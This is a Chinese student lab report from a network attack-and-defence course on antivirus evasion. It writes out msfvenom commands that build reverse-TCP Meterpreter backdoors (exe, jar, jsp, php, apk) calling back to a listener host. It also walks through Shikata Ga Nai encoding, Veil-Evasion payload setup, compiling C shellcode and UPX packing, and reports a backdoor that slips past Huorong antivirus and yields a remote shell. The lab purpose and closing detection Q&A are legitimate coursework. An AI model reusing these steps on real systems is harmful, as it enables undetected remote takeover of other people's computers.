目录
《网络对抗技术》——Exp3 免杀原理与实践
1.1 实践目标
(1)任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
(2)任务二:通过组合应用各种技术实现恶意代码免杀
(3)任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
1.2 基础知识
- 免杀原理
- 免杀技术全称为反杀毒技术Anti Anti- Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等黑客技术,所以难度很高。其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。
- 如果要做好免杀,就要清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。
任务一:正确使用免杀工具或技巧
1.正确使用msf编码器
在实验二中已经生成了未经编码处理exe类型的后门程序,将其放到VirusTotal或Virscan(网站链接在文末参考资料中)中查看结果,这里选择了VirusTotal:
由此可见不加任何处理的后门程序能够被大多数杀软检测到,接下来用msf编码器对后门程序进行一次到多次的编码,并进行检测
-e
用来选择编码器-b
用来去除需要去除的字符,应使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符-i
设置迭代次数,这里设置迭代次数为10
生成一次编码的后门程序:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.112.129 LPORT=1313 -f exe > 20201313_backdoor1.exe
生成十次编码的后门程序:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.112.129 LPORT=1313 -f exe > 20201313_backdoor10.exe
由此可见经过编码后被检测出的概率只略微下降,仍然能被大多数杀软检测出来。
2.msfvenom生成如jar之类的其他文件
- 生成jar文件:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.112.129 LPORT=1313 x> 20201313jar.jar
VirusTotal检测结果:
- 生成jsp文件:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.112.129 LPORT=1313 x> 20201313jsp.jsp
VirusTotal检测结果:
- 生成php文件:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.112.129 LPORT=1313 x> 20201313php.php
VirusTotal检测结果:
- 生成apk文件:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.112.129 LPORT=1313 x> 20201313apk.apk
VirusTotal检测结果:
3.使用veil-evasion生成后门程序
使用sudo apt-get install veil
进行veil的安装
安装完成后提示有的部分没有安装成功,根据提示加后缀重新进行安装:
安装完成后输入veil
命令,这里使用热点进行安装会快很多,这里安装python会无响应……下载完成后会提示运行/usr/share/veil/config/setup.sh --force --silent
但是在运行该指令时会反复提示找不到wine32
,提示apt-get install wine32
,参照Kali Linux 64位架构安装Veil-Evasion - 大学霸 - 博客园 (cnblogs.com)与64位kali下安装wine32 - 知乎 (zhihu.com),按顺序输入以下三句指令(注意要在root权限下)
dpkg --add-architecture i386
apt-get update
apt-get install wine32
输入veil后,根据提示然后再次输入/usr/share/veil/config/setup.sh --force --silent
使用sudo运行veil
然后输入use evasion
之后输入命令use c/meterpreter/rev_tcp.py
进入配置界面
使用set LHOST 192.168.112.129
设置反弹连接IP地址
使用set LPORT 1313
设置端口
使用generate
命令生成文件,接着输入生成的playload的名称veil20203313
,保存路径为/var/lib/veil/output/source/veil20201313.exe
按老规矩丢到virustotal中看看veil生成的隐蔽性如何
结果显示通过veil加壳后效果也不是太好,依然有过半的杀软可以把它揪出来
4.使用C+shellcode编程生成后门程序
使用如下指令生成shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.112.129 LPORT=1313 -f c
创建20201313.c,将buf添加到代码中
使用i686-w64-mingw32-g++ 20201313.c -o 20201313.exe
生成exe可执行文件
丢到virustotal中看看效果:
看样子效果只是好了一些,但仍能被大多数杀软查出
5.加壳工具
使用命令upx 20201313.exe -o 20201313pro.exe
对20201313.exe加壳
上传到virustotal中:
加壳以后能够检测出的杀软少了,但是过半的杀软还是可以检测出的。
6.其他方法
采用Veil-Evasion的其他荷载生成后门方式
进入evasion,使用list查看可用的有效荷载:
我先选择的是第13个荷载
输入options
查看有效荷载的选项
修改用户名后使用generate
生成,选择shellcode平台时选择2:msfvenom,payloads与IP、端口号,然后根据要求输入
将可执行文件上传到virustotal中看看效果:
效果更差了。。。
然后根据学长的实验流程,选择第32个载荷
将可执行文件上传到virustotal中看看效果:
和学长的结果相同,所有杀软都没有检测出来
任务二:通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
任务一中最后一个采用Veil-Evasion生成的Python下shellcode在DES下加密文件已经可以通过杀软检查,所以这步中我使用了Python下shellcode使用DES加密的载荷+加密壳生成的文件:
电脑环境:win10主机
杀毒引擎:火绒
杀软版本:5.0.73.3
木马库版本时间:2023-03-28
通过共享文件夹传入主机,然后扫描该共享文件夹
任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
电脑环境:win10主机
杀毒引擎:火绒
杀软版本:5.0.73.3
木马库版本时间:2023-03-28
先对上述实验生成veil20201313.exe用upx命令进行加壳,然后根据实验二的步骤利用ncat传到主机中
杀软扫描没任何问题
然后再msfconsole控制台里,打开监听,并运行该程序
程序成功运行并且获取了主机的shell控制
实验中遇到的问题
问题一:安装veil的过程中提示缺少wine32
,提示apt-get install wine32
,这个在上述步骤里已经详细描述了解决方案,其成因是装的kali是64位的,无法安装32位的wine,所以通过一些手段让kali可以兼容32位的软件就行了。
实验收获与感想
本次实验中,我使用了几种不同的方法对后门程序软件进行免杀处理,其中大多数的方式都是可以被多数杀软给检测出来的,但是仍然存在少数无法被扫描且在联网状态下仍能顺利运行的后门程序,所以说不能盲目相信杀软没有检测出来东西就证明电脑的安全,要常去查看可疑进程来配合杀软增加你电脑的安全性。
问题回答
- (1)杀软是如何检测出恶意代码的?
a. 基于特征码的检测。恶意代码常常具有明显的特征码也就是一段数据,杀软检测到具有该特征码的程序就当作检测到了恶意代码。
b.启发式恶意软件检测.。
c.基于行为的恶意软件检测。如果一个程序的行为是带有恶意的行为,那么这个程序也会被认为是恶意代码。
- (2)免杀是做什么?
免杀指的是用一些特殊的手段,让病毒木马等有害程序免于被杀毒软件查杀。
- (3)免杀的基本方法有哪些?
a.静态文件免杀
对于静态免杀,针对的是杀毒软件的静态文件扫描,云查(病毒库)杀。
杀毒是提取文件一段特征码来识别病毒文件。
可以使用encoder进行编码、重新编译生成可执行文件、加壳等手段改变特征码。
b.动态行为免杀
说白了,恶意行为都是通过API调用来完成的,可能是一个API,可能是多个APi组合。杀软通过技术手段拦截这些API调用,通过策略来判断是否属于恶意行为。
可以采用替换api、未导出api、重写api、api+5、底层api等方式。
- (4)开启杀软能绝对防止电脑中恶意代码吗?
很显然,通过这次实验我们已经可以看出杀软并不能检测出所有的恶意软件,而且如果无法检测出特征码,而且在该软件运行时也无法检测出其恶意的行为,那么这个软件在杀软眼中就是安全的,所以仍然需要人工进行配合来防护。
标签:实践,exe,免杀,检测,杀软,生成,veil,对抗 From: https://www.cnblogs.com/shadevil/p/17272288.html